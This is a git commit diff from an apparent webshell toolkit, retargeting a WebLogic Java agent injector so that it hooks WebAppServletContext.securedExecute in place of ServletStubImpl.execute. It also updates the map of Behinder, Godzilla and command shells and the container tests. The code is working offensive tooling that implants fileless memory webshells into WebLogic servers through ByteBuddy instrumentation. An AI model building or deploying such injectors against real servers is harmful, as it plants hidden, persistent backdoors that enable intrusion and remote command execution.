fix: change weblogic agent hook

This commit is contained in:
ReaJason
2025-01-07 10:02:51 +08:00
parent f71657b11c
commit 5340de9b71
5 changed files with 19 additions and 22 deletions
@@ -15,7 +15,7 @@ import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletStubAgentInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletContextAgentInjector;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Map;
@@ -27,7 +27,7 @@ import static com.reajason.javaweb.memshell.config.Constants.*;
* @since 2024/12/24
*/
public class WebLogicShell extends AbstractShell {
public static final String AGENT_SERVLET_STUB = AGENT + "ServletStub";
public static final String AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
@@ -35,7 +35,7 @@ public class WebLogicShell extends AbstractShell {
SERVLET, Pair.of(BehinderServlet.class, WebLogicServletInjector.class),
FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class),
LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class),
AGENT_SERVLET_STUB, Pair.of(BehinderFilterChainAdvisor.class, WebLogicServletStubAgentInjector.class)
AGENT_SERVLET_CONTEXT, Pair.of(BehinderFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class)
);
}
@@ -45,7 +45,7 @@ public class WebLogicShell extends AbstractShell {
SERVLET, Pair.of(CommandServlet.class, WebLogicServletInjector.class),
FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class),
AGENT_SERVLET_STUB, Pair.of(CommandFilterChainAdvisor.class, WebLogicServletStubAgentInjector.class)
AGENT_SERVLET_CONTEXT, Pair.of(CommandFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class)
);
}
@@ -55,7 +55,7 @@ public class WebLogicShell extends AbstractShell {
SERVLET, Pair.of(GodzillaServlet.class, WebLogicServletInjector.class),
FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class),
AGENT_SERVLET_STUB, Pair.of(GodzillaFilterChainAdvisor.class, WebLogicServletStubAgentInjector.class)
AGENT_SERVLET_CONTEXT, Pair.of(GodzillaFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class)
);
}
}
@@ -1,7 +1,6 @@
package com.reajason.javaweb.integration.weblogic;
import com.reajason.javaweb.memshell.WebLogicShell;
import com.reajason.javaweb.memshell.WebSphereShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
@@ -50,9 +49,9 @@ public class WebLogic1036ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64),
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Command, Packer.INSTANCE.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packer.INSTANCE.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
);
}
@@ -51,9 +51,9 @@ public class WebLogic12214ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64),
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Command, Packer.INSTANCE.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packer.INSTANCE.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
);
}
@@ -51,9 +51,9 @@ public class WebLogic14110ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64),
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Command, Packer.INSTANCE.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packer.INSTANCE.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
);
}
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.weblogic.injector;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterChainAgentInjector;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
@@ -12,13 +11,12 @@ import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import static net.bytebuddy.matcher.ElementMatchers.named;
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
/**
* @author ReaJason
* @since 2025/1/3
*/
public class WebLogicServletStubAgentInjector implements AgentBuilder.Transformer {
public class WebLogicServletContextAgentInjector implements AgentBuilder.Transformer {
static Class<?> interceptorClass = null;
@@ -35,7 +33,7 @@ public class WebLogicServletStubAgentInjector implements AgentBuilder.Transforme
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("execute").and(takesArguments(3))));
return builder.visit(Advice.to(interceptorClass).on(named("securedExecute")));
}
public static void premain(String args, Instrumentation inst) throws Exception {
@@ -57,9 +55,9 @@ public class WebLogicServletStubAgentInjector implements AgentBuilder.Transforme
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("weblogic.servlet.internal.ServletStubImpl"))
.transform(new WebLogicServletStubAgentInjector())
.type(named("weblogic.servlet.internal.WebAppServletContext"))
.transform(new WebLogicServletContextAgentInjector())
.installOn(inst);
System.out.println("MemShell Agent is working at weblogic.servlet.internal.ServletStubImpl.execute");
System.out.println("MemShell Agent is working at weblogic.servlet.internal.WebAppServletContext.securedExecute");
}
}